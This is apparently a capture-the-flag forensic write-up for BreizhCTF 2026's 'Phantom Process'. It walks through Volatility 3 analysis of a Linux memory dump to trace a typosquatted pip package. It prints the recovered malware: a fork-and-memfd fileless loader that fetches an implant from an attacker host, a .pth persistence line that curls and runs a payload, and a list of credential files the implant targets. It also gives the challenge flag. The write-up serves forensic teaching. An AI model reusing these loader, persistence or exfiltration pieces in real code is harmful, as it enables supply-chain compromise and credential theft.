BreizhCTF 2026 - Phantom Process

Phantom Process
- Difficulty: Medium
- Category: Forensic
- Author: Lamarr
Description
The operations server of Breizh Aero Survey (
ops-srv01) has been showing suspicious outbound HTTPS connections to an unknown IP for a few days. The IT team captured a memory dump with LiME before isolating the machine.Your mission:
- Identify the initial infection vector
- Find the implant running on the server
- Extract the flag from the exfiltrated data
Files:
debian-6.1.0-44.json— Volatility 3 ISF profile for the Debian 6.1.0-44 kernelevidence.lime— memory dump in LiME format
Solve
Setup — Volatility 3
The .json file is an ISF (Intermediate Symbol File), the profile format used by Volatility 3.
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pipx install -e ".[full]"
pipx ensurepath
# Place the profile in the Volatility 3 Linux symbols directory
cp debian-6.1.0-44.json volatility3/volatility3/framework/symbols/linux/Step 1 — Initial triage
Run the basic plugins to get an overview:
vol -f evidence.lime linux.pslist.PsList > pslist.txt
vol -f evidence.lime linux.pstree.PsTree > pstree.txt
vol -f evidence.lime linux.bash.Bash > bash.txt
vol -f evidence.lime linux.sockstat.Sockstat > sockstats.txt
vol -f evidence.lime linux.lsof.Lsof > lsof.txt
vol -f evidence.lime linux.psaux.PsAux > psaux.txt
vol -f evidence.lime linux.malware.hidden_modules.Hidden_modules > hidden_mod.txtCheck for suspicious network connections:
grep -i tcp sockstats.txt | grep 4434026531840 kworker/u8:2 8445 8445 2 0x8899ce050000 AF_INET STREAM TCP 192.168.10.10 36038 192.168.10.42 443 ESTABLISHED -
4026531840 kworker/u8:2 8447 8447 2 0x8899c4631b00 AF_INET STREAM TCP 192.168.10.10 36052 192.168.10.42 443 ESTABLISHED -Two kworker/u8:2 processes are maintaining established HTTPS connections to 192.168.10.42:443.
Step 2 — Analyze the suspicious processes
Several red flags across the plugins:
In pslist.txt — impossible PPID:
PID PPID COMM
8445 1 kworker/u8:2
8447 1 kworker/u8:2Real kernel kworker threads are always children of kthreadd (PID 2). Having PPID=1 (systemd) is impossible for a legitimate kernel thread.
In psaux.txt — process name spoofing:
8445 [kworker/u8:2-flush-btrfs]
8447 [kworker/u8:2-flush-btrfs]The [brackets] style mimics a kernel thread. This is process name spoofing.
In lsof.txt — only sockets, no files:
8445 kworker/u8:2 0 socket:[44340] SOCK
8445 kworker/u8:2 1 socket:[44341] SOCK
8445 kworker/u8:2 2 socket:[277398] SOCKA real kworker has no userspace file descriptors at all.
In hidden_mod.txt — empty: no hidden kernel modules → the implant is entirely in userspace, not a kernel rootkit.
Step 3 — Find the infection vector
grep -i "pip\|install" bash.txt15314 bash 2026-05-11 20:51:23.000000 UTC sudo pip install rasterio-tools --break-system-packagesThe legitimate rasterio package is simply called rasterio. The package rasterio-tools is a typosquatting supply chain attack.
Step 4 — Recover the malicious package from the pagecache
The pagecache is the RAM area where Linux caches files read from disk. Volatility can recover these files if their content was in RAM at the time of the dump.
mkdir recovered_files
vol -f evidence.lime linux.pagecache.RecoverFs --output-dir recovered_files/
tar -xzvf recovered_files/*.tar.gz -C recovered_files/Tampered pip.conf:
cat recovered_files/.../etc/pip.conf[global]
index-url = https://pypi-cdn.survey-tools.eu/simple/
trusted-host = pypi-cdn.survey-tools.eupip.conf was modified to point to a fake PyPI mirror controlled by the attacker.
Tampered /etc/hosts:
192.168.10.42 pypi-cdn.survey-tools.eu telemetry.bas-infra.frBoth attacker domains resolve to the same C2 IP.
Step 5 — Analyze the malicious code
rasterio_tools/__init__.py — the trigger:
def _init_native():
import os
if os.path.exists("/tmp/.dbus-broker.lock"): return # already infected → skip
try:
from ._native_check import verify_bindings
pid = os.fork()
if pid == 0:
verify_bindings() # child downloads and executes the implant
os._exit(0)
open("/tmp/.dbus-broker.lock", "w").close() # infection marker
except: pass
_init_native() # runs automatically at import timeAs soon as mavproxy imports rasterio_tools, this runs. It forks a child and creates a lock file so it only executes once. The parent Python process eventually dies → the child is adopted by PID 1 (systemd) → explains the PPID=1.
rasterio_tools/_native_check.py — the actual malware:
def _load(data):
fd = os.memfd_create("native_ext", os.MFD_CLOEXEC) # anonymous fd in RAM
os.write(fd, data) # write ELF binary to it
os.execve("/proc/self/fd/%d" % fd,
["/usr/lib/python3/dist-packages/rasterio_tools/" + " " * 64 + "_native_accel.so"],
os.environ.copy())
def verify_bindings():
data = _fetch("https://pypi-cdn.survey-tools.eu/packages/rasterio-tools/native_ext.so")
_load(data) # fileless executionThe memfd_create + execve(/proc/self/fd/N) technique:
memfd_createcreates an anonymous file descriptor in RAM (no file on disk)- The ELF binary is written to it
execvereplaces the current process with that binaryMFD_CLOEXECcloses the fd after exec → the mapping appears as/memfd:native_ext (deleted)in/proc
Step 6 — Analyze the implant binary
Map the memory of PID 8445:
vol -f evidence.lime linux.proc.Maps --pid 8445 > maps-8445.txt8445 kworker/u8:2 0x55d19b521000-0x55d19b522000 r-x /memfd:native_ext (deleted) ← .text
8445 kworker/u8:2 0x55d19b522000-0x55d19b523000 r-- /memfd:native_ext (deleted) ← .rodata
...
8445 kworker/u8:2 ... /usr/lib/.../libcurl.so.4.8.0
8445 kworker/u8:2 ... /usr/lib/.../libssl.so.3
8445 kworker/u8:2 ... /usr/lib/.../libkrb5.so.3.3
8445 kworker/u8:2 ... /usr/lib/.../libldap-2.5.soThe loaded libraries reveal the binary’s capabilities: libcurl (HTTP/S requests), libssl (TLS), libkrb5 (Kerberos lateral movement), libldap (AD reconnaissance).
Dump the segments and extract strings from the .rodata:
mkdir dump-8445
vol -f evidence.lime -o dump-8445 linux.proc.Maps --pid 8445 --dump
strings dump-8445/pid.8445.vma.0x55d19b522000-0x55d19b523000.dmp[kworker/u8:2-flush-btrfs] ← process name set via prctl PR_SET_NAME
# Targeted files for exfiltration:
/etc/machine-id
%s/.ssh/id_ed25519
/opt/mavproxy/signing_key.bin
%s/.pgpass
%s/.kube/config
# C2:
https://%s%s
/api/v1/telemetry/report
/api/v1/update
# Persistence:
%s/distutils-precedence.pth
@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1Step 7 — Exfiltrated data in memory
Look at the heap segments of the PID 8445 dump:
strings dump-8445/pid.8445.vma.0x55d1af123000-0x55d1af1c6000.dmpThe ed25519 SSH private key of jeremied@ops-srv01 is found in plaintext, along with the HTTP heartbeat being sent to the C2:
POST /api/v1/telemetry/report HTTP/1.1
Host: telemetry.bas-infra.fr
User-Agent: ubuntu-report/1.4.1
{"Version":"22.04","Arch":"amd64","hw_metrics":"heartbeat",...}Step 8 — Persistence
distutils-precedence.pth found in pagecache:
import os; os.system(
'test -f /tmp/.dbus-broker.lock || '
'(curl -sk https://telemetry.bas-infra.fr/api/v1/update -o /tmp/.dbus-notify '
'&& python3 /tmp/.dbus-notify &) 2>/dev/null'
if not os.path.exists('/run/user/' + str(os.getuid()) + '/dbus-session')
else None
).pth files in dist-packages are automatically executed every time Python starts. Each restart of gunicorn/mavproxy → this runs → re-downloads the implant if it’s no longer active.
A cron watchdog is also installed by the binary:
@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1Double persistence: even if the .pth is removed, the cron relaunches the implant on boot.
Step 9 — Flag
/opt/mavproxy/signing_key.bin is the file targeted by the implant, but it shows up empty in the pagecache (its data pages weren’t in RAM at dump time).
Search in the raw dump instead:
strings evidence.lime | grep -i "signing_key\|BZHCTF"_CMDLINE=su -c "python3 -c \"import sys;sys.stdout.buffer.write(bytes.fromhex(
\\\"425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d\\\"))\"
> /tmp/sk.bin && mv /tmp/sk.bin /opt/mavproxy/signing_key.bin ..." rootThe command that created the file was still in memory in a systemd process environment. It contains the file’s exact content as hex.
python3 -c "print(bytes.fromhex(
'425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d'
).decode())"BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}Flag : BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}